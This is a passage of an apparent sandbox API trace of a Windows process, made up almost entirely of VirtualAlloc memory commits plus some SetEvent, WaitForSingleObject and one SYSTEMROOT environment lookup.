flAllocationType=0x1000, flProtect=0x4) returned 0xc000302000 [0174.220] VirtualAlloc (lpAddress=0xc000304000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000304000 [0174.224] VirtualAlloc (lpAddress=0xc000306000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000306000 [0174.224] VirtualAlloc (lpAddress=0xc000308000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000308000 [0174.225] VirtualAlloc (lpAddress=0xc00030a000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00030a000 [0174.228] VirtualAlloc (lpAddress=0xc000310000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000310000 [0174.229] VirtualAlloc (lpAddress=0xc000312000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000312000 [0174.230] VirtualAlloc (lpAddress=0xc000320000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000320000 [0174.233] VirtualAlloc (lpAddress=0xc000322000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000322000 [0174.235] VirtualAlloc (lpAddress=0xc00032c000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00032c000 [0174.237] VirtualAlloc (lpAddress=0xc00033e000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00033e000 [0174.240] VirtualAlloc (lpAddress=0xc000348000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000348000 [0174.254] SetEvent (hEvent=0x114) returned 1 [0174.254] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0174.255] VirtualAlloc (lpAddress=0xc00034a000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00034a000 [0174.261] VirtualAlloc (lpAddress=0xc000354000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000354000 [0174.265] VirtualAlloc (lpAddress=0xc00035c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035c000 [0174.270] VirtualAlloc (lpAddress=0xc00035e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00035e000 [0174.271] VirtualAlloc (lpAddress=0xc000360000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000360000 [0174.285] VirtualAlloc (lpAddress=0xc00036c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036c000 [0174.286] VirtualAlloc (lpAddress=0xc00036e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00036e000 [0174.287] VirtualAlloc (lpAddress=0xc000370000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000370000 [0174.288] VirtualAlloc (lpAddress=0xc00037a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00037a000 [0174.290] VirtualAlloc (lpAddress=0xc00037e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00037e000 [0174.290] VirtualAlloc (lpAddress=0xc000380000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000380000 [0174.361] VirtualAlloc (lpAddress=0xc000382000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000382000 [0174.363] VirtualAlloc (lpAddress=0xc000384000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000384000 [0174.369] VirtualAlloc (lpAddress=0xc000386000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000386000 [0174.377] VirtualAlloc (lpAddress=0xc000388000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000388000 [0174.383] VirtualAlloc (lpAddress=0xc00038a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00038a000 [0174.385] VirtualAlloc (lpAddress=0xc00038c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00038c000 [0174.417] SetEvent (hEvent=0x114) returned 1 [0174.417] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0174.699] VirtualAlloc (lpAddress=0xc00038e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00038e000 [0174.701] VirtualAlloc (lpAddress=0xc000392000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000392000 [0174.702] GetEnvironmentVariableW (in: lpName="SYSTEMROOT", lpBuffer=0xc0001caea0, nSize=0x64 | out: lpBuffer="") returned 0xa [0174.704] VirtualAlloc (lpAddress=0xc000394000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000394000 [0174.713] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000400000 [0174.714] VirtualAlloc (lpAddress=0x0, dwSize=0x114d0, flAllocationType=0x3000, flProtect=0x4) returned 0xa10000 [0174.714] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000 [0174.717] VirtualAlloc (lpAddress=0xc000398000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000398000 [0174.718] VirtualAlloc (lpAddress=0xc00039a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00039a000 [0174.722] VirtualAlloc (lpAddress=0xc00039c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00039c000 [0174.725] VirtualAlloc (lpAddress=0xc0003a4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a4000 [0174.726] VirtualAlloc (lpAddress=0xc0003a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003a8000 [0174.727] VirtualAlloc (lpAddress=0xc0003aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003aa000 [0174.729] VirtualAlloc (lpAddress=0xc0003ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ac000 [0174.730] VirtualAlloc (lpAddress=0xc0003ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ae000 [0174.730] VirtualAlloc (lpAddress=0xc0003b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b0000 [0174.732] VirtualAlloc (lpAddress=0xc0003b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b2000 [0174.734] VirtualAlloc (lpAddress=0xc0003b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b4000 [0174.736] VirtualAlloc (lpAddress=0xc0003b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b6000 [0174.789] VirtualAlloc (lpAddress=0xc0003b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b8000 [0174.791] VirtualAlloc (lpAddress=0xc0003ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ba000 [0174.792] VirtualAlloc (lpAddress=0xc0003bc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003bc000 [0174.793] VirtualAlloc (lpAddress=0xc0003c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c0000 [0174.793] VirtualAlloc (lpAddress=0xc0003c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c2000 [0174.794] VirtualAlloc (lpAddress=0xc0003c4000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003c4000 [0174.795] VirtualAlloc (lpAddress=0xc0003ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ca000 [0174.796] VirtualAlloc (lpAddress=0xc0003cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003cc000 [0174.798] VirtualAlloc (lpAddress=0xc0003ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ce000 [0174.798] VirtualAlloc (lpAddress=0xc0003d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d0000 [0174.800] VirtualAlloc (lpAddress=0xc0003d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d2000 [0174.801] VirtualAlloc (lpAddress=0xc0003d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d4000 [0174.802] VirtualAlloc (lpAddress=0xc0003d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d6000 [0174.803] VirtualAlloc (lpAddress=0xc0003d8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d8000 [0174.803] VirtualAlloc (lpAddress=0xc0003dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003dc000 [0174.805] VirtualAlloc (lpAddress=0xc0003de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003de000 [0174.806] VirtualAlloc (lpAddress=0xc0003e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e0000 [0174.807] VirtualAlloc (lpAddress=0xc0003e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e2000 [0174.808] VirtualAlloc (lpAddress=0xc0003e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e4000 [0174.809] VirtualAlloc (lpAddress=0xc0003e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e6000 [0174.810] VirtualAlloc (lpAddress=0xc0003e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003e8000 [0174.811] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ea000 [0174.811] VirtualAlloc (lpAddress=0xc0003ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ee000 [0174.812] VirtualAlloc (lpAddress=0xc0003f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f0000 [0174.812] VirtualAlloc (lpAddress=0xc0003f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f2000 [0174.814] VirtualAlloc (lpAddress=0xc0003f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f4000 [0174.815] VirtualAlloc (lpAddress=0xc0003f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f6000 [0174.816] VirtualAlloc (lpAddress=0xc0003f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f8000 [0174.818] VirtualAlloc (lpAddress=0xc0003fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fa000 [0174.819] VirtualAlloc (lpAddress=0xc0003fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fc000 [0174.821] VirtualAlloc (lpAddress=0xc0003fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003fe000 [0174.823] VirtualAlloc (lpAddress=0xc000440000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000440000 [0174.824] VirtualAlloc (lpAddress=0xc000442000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000442000 [0174.824] VirtualAlloc (lpAddress=0xc000444000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000444000 [0174.826] VirtualAlloc (lpAddress=0xc000446000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000446000 [0174.826] VirtualAlloc (lpAddress=0xc000448000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000448000 [0174.827] VirtualAlloc (lpAddress=0xc00044c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00044c000 [0174.827] VirtualAlloc (lpAddress=0xc00044e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00044e000 [0174.828] VirtualAlloc (lpAddress=0xc000450000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000450000 [0174.829] VirtualAlloc (lpAddress=0xc000452000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000452000 [0174.856] SetEvent (hEvent=0x114) returned 1 [0174.856] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0174.933] VirtualAlloc (lpAddress=0xc000454000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000454000 [0174.934] VirtualAlloc (lpAddress=0xc000456000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000456000 [0174.935] VirtualAlloc (lpAddress=0xc000458000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000458000 [0174.936] VirtualAlloc (lpAddress=0xc00045c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00045c000 [0174.937] VirtualAlloc (lpAddress=0xc00045e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00045e000 [0174.938] VirtualAlloc (lpAddress=0xc000460000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000460000 [0174.939] VirtualAlloc (lpAddress=0xc000462000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000462000 [0174.940] VirtualAlloc (lpAddress=0xc000464000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000464000 [0174.940] VirtualAlloc (lpAddress=0xc000466000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000466000 [0174.942] VirtualAlloc (lpAddress=0xc00046a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046a000 [0174.943] VirtualAlloc (lpAddress=0xc00046c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046c000 [0174.943] VirtualAlloc (lpAddress=0xc00046e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046e000 [0174.945] VirtualAlloc (lpAddress=0xc000470000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000470000 [0174.946] VirtualAlloc (lpAddress=0xc000472000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000472000 [0174.948] VirtualAlloc (lpAddress=0xc000474000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000474000 [0174.949] VirtualAlloc (lpAddress=0xc000476000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000476000 [0174.950] VirtualAlloc (lpAddress=0xc000478000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000478000 [0174.952] VirtualAlloc (lpAddress=0xc00047a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00047a000 [0174.952] VirtualAlloc (lpAddress=0xc00047e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00047e000 [0174.953] VirtualAlloc (lpAddress=0xc000480000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000480000 [0174.954] VirtualAlloc (lpAddress=0xc000482000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000482000 [0174.954] VirtualAlloc (lpAddress=0xc000484000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000484000 [0174.956] VirtualAlloc (lpAddress=0xc00048a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00048a000 [0174.956] SetEvent (hEvent=0x114) returned 1 [0174.957] SetEvent (hEvent=0x124) returned 1 [0174.957] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0175.155] SetEvent (hEvent=0x104) returned 1 [0175.155] SetEvent (hEvent=0x124) returned 1 [0175.155] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0175.177] VirtualAlloc (lpAddress=0xc000254000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000254000 [0175.177] VirtualAlloc (lpAddress=0xc00025c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00025c000 [0175.178] SetEvent (hEvent=0x114) returned 1 [0175.178] SetEvent (hEvent=0x124) returned 1 [0175.178] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0175.181] SetEvent (hEvent=0x104) returned 1 [0175.181] SetEvent (hEvent=0x124) returned 1 [0175.182] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0175.351] SetEvent (hEvent=0x114) returned 1 [0175.352] VirtualAlloc (lpAddress=0xc000140000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000140000 [0175.360] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xe00000 [0175.361] VirtualAlloc (lpAddress=0xc000148000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000148000 [0175.362] VirtualAlloc (lpAddress=0xc00014a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014a000 [0175.363] VirtualAlloc (lpAddress=0xc00014c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014c000 [0175.363] VirtualAlloc (lpAddress=0xc00014e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014e000 [0175.364] VirtualAlloc (lpAddress=0xc000152000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000152000 [0175.364] VirtualAlloc (lpAddress=0xc000154000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000154000 [0175.365] VirtualAlloc (lpAddress=0xc000156000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000156000 [0175.366] VirtualAlloc (lpAddress=0xc000158000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000158000 [0175.367] VirtualAlloc (lpAddress=0xc00015a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015a000 [0175.368] VirtualAlloc (lpAddress=0xc00015c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015c000 [0175.369] VirtualAlloc (lpAddress=0xc00015e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015e000 [0175.370] VirtualAlloc (lpAddress=0xc000160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000160000 [0175.371] VirtualAlloc (lpAddress=0xc000162000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000162000 [0175.371] VirtualAlloc (lpAddress=0xc000164000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000164000 [0175.372] VirtualAlloc (lpAddress=0xc000166000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000166000 [0175.373] VirtualAlloc (lpAddress=0xc00016a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016a000 [0175.374] VirtualAlloc (lpAddress=0xc00016c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016c000 [0175.375] VirtualAlloc (lpAddress=0xc00016e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00016e000 [0175.376] VirtualAlloc (lpAddress=0xc000170000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000170000 [0175.378] VirtualAlloc (lpAddress=0xc000172000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000172000 [0175.379] VirtualAlloc (lpAddress=0xc000174000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000174000 [0175.380] VirtualAlloc (lpAddress=0xc00017a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017a000 [0175.380] VirtualAlloc (lpAddress=0xc00017c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017c000 [0175.381] VirtualAlloc (lpAddress=0xc00017e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017e000 [0175.382] VirtualAlloc (lpAddress=0xc000500000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000500000 [0175.382] VirtualAlloc (lpAddress=0xc000504000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000504000 [0175.383] VirtualAlloc (lpAddress=0xc000506000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000506000 [0175.385] VirtualAlloc (lpAddress=0xc000508000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000508000 [0175.386] VirtualAlloc (lpAddress=0xc00050a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00050a000 [0175.387] VirtualAlloc (lpAddress=0xc00050c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00050c000 [0175.605] SetEvent (hEvent=0x104) returned 1 [0175.605] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0175.617] VirtualAlloc (lpAddress=0xc000266000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000266000 [0175.620] VirtualAlloc (lpAddress=0xc000268000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000268000 [0175.621] VirtualAlloc (lpAddress=0xc00026a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026a000 [0175.622] VirtualAlloc (lpAddress=0xc00026c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026c000 [0175.623] VirtualAlloc (lpAddress=0xc00026e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026e000 [0175.624] VirtualAlloc (lpAddress=0xc000270000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000270000 [0175.624] VirtualAlloc (lpAddress=0xc000272000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000272000 [0175.625] VirtualAlloc (lpAddress=0xc000276000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000276000 [0175.626] VirtualAlloc (lpAddress=0xc000278000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000278000 [0175.627] VirtualAlloc (lpAddress=0xc00027a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027a000 [0175.629] VirtualAlloc (lpAddress=0xc00027c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027c000 [0175.630] VirtualAlloc (lpAddress=0xc00027e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027e000 [0175.631] VirtualAlloc (lpAddress=0xc000580000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000580000 [0175.633] VirtualAlloc (lpAddress=0xc000582000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000582000 [0175.634] VirtualAlloc (lpAddress=0xc000584000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000584000 [0175.636] VirtualAlloc (lpAddress=0xc000588000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000588000 [0175.637] VirtualAlloc (lpAddress=0xc00058a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00058a000 [0175.638] VirtualAlloc (lpAddress=0xc00058c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00058c000 [0175.639] VirtualAlloc (lpAddress=0xc00058e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00058e000 [0175.639] VirtualAlloc (lpAddress=0xc000590000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000590000 [0175.641] VirtualAlloc (lpAddress=0xc000592000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000592000 [0175.643] VirtualAlloc (lpAddress=0xc000594000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000594000 [0175.643] VirtualAlloc (lpAddress=0xc000596000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000596000 [0175.644] VirtualAlloc (lpAddress=0xc00059a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00059a000 [0175.644] VirtualAlloc (lpAddress=0xc00059c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00059c000 [0175.645] VirtualAlloc (lpAddress=0xc0005a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005a2000 [0175.646] VirtualAlloc (lpAddress=0xc0005a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005a4000 [0175.649] VirtualAlloc (lpAddress=0xc0005a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005a6000 [0175.650] VirtualAlloc (lpAddress=0xc0005a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005a8000 [0175.652] VirtualAlloc (lpAddress=0xc0005aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005aa000 [0175.652] VirtualAlloc (lpAddress=0xc0005ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ac000 [0175.653] VirtualAlloc (lpAddress=0xc0005ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ae000 [0175.654] VirtualAlloc (lpAddress=0xc0005b0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005b0000 [0175.654] VirtualAlloc (lpAddress=0xc0005b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005b4000 [0175.655] VirtualAlloc (lpAddress=0xc0005b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005b6000 [0175.655] VirtualAlloc (lpAddress=0xc0005b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005b8000 [0175.657] VirtualAlloc (lpAddress=0xc0005ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ba000 [0175.658] VirtualAlloc (lpAddress=0xc0005bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005bc000 [0175.660] VirtualAlloc (lpAddress=0xc0005be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005be000 [0175.662] VirtualAlloc (lpAddress=0xc0005c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005c0000 [0175.663] VirtualAlloc (lpAddress=0xc0005c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005c2000 [0175.664] VirtualAlloc (lpAddress=0xc0005c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005c4000 [0176.098] SetEvent (hEvent=0x114) returned 1 [0176.098] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0176.150] VirtualAlloc (lpAddress=0xc0005c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005c6000 [0176.151] VirtualAlloc (lpAddress=0xc0005c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005c8000 [0176.152] VirtualAlloc (lpAddress=0xc0005ca000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ca000 [0176.153] VirtualAlloc (lpAddress=0xc0005ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ce000 [0176.153] VirtualAlloc (lpAddress=0xc0005d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005d0000 [0176.154] VirtualAlloc (lpAddress=0xc0005d2000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005d2000 [0176.156] VirtualAlloc (lpAddress=0xc0005d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005d8000 [0176.157] VirtualAlloc (lpAddress=0xc0005da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005da000 [0176.158] VirtualAlloc (lpAddress=0xc0005dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005dc000 [0176.159] VirtualAlloc (lpAddress=0xc0005de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005de000 [0176.160] VirtualAlloc (lpAddress=0xc0005e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005e0000 [0176.161] VirtualAlloc (lpAddress=0xc0005e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005e2000 [0176.162] VirtualAlloc (lpAddress=0xc0005e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005e4000 [0176.162] VirtualAlloc (lpAddress=0xc0005e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 